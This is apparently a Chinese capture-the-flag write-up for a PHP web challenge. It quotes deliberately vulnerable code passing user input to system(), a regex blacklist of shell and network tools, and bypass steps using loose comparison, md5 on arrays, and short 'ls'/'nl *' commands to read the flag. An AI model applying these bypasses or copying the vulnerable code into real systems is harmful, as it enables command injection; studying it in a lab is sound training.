Web 3
更改前题目
题目没有做记录,卡在了最后一步正则绕过,前七个绕过挺简单的
?A[]=1&B[]=2&C=s878926199a&D[]=0&E=5201.1&F=0xDEADC0DE
正则绕过:
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {system($cmd)
}
更改后题目
<?php
show_source(__FILE__);
error_reporting(0);
function validation_check() {$a = @$_GET['a'];$b = @$_GET['b'];$c = @$_GET['c'];if ($a !== $b && md5($a) === md5($b)) {if ($c == 0 && $c) {return true;}return false;
}
}
function command_execution() {if (!isset($_GET['cmd'])) {die("Where is cmd?");}$command = $_GET['cmd'];execute_command($command);
}
function execute_command($input) {if (strlen($input) > 4) {die("too long!");}system($input);
}
if (validation_check()) {command_execution();
} else {die("NoNoNo");
}
弱类型相等绕过
数字和字符串的比较 0a == 0 为真
md5值强相等绕过
利用md5函数无法对数组进行md5加密,会返回NULL来相等。
命令执行
规定cmd的值不能大于4,首先令cmd=ls
发现有两个文件:flag.php index.php
其次使用nl *读出flag.php文件为:
1 flag{676b4dbb-3c7e-41e0-9d9a-b441f5e2d368} 2 4) { 27 die("too long!"); 28 } 29 system($input); 30 } 31 if (validation_check()) { 32 command_execution(); 33 } else { 34 die("NoNoNo"); 35 }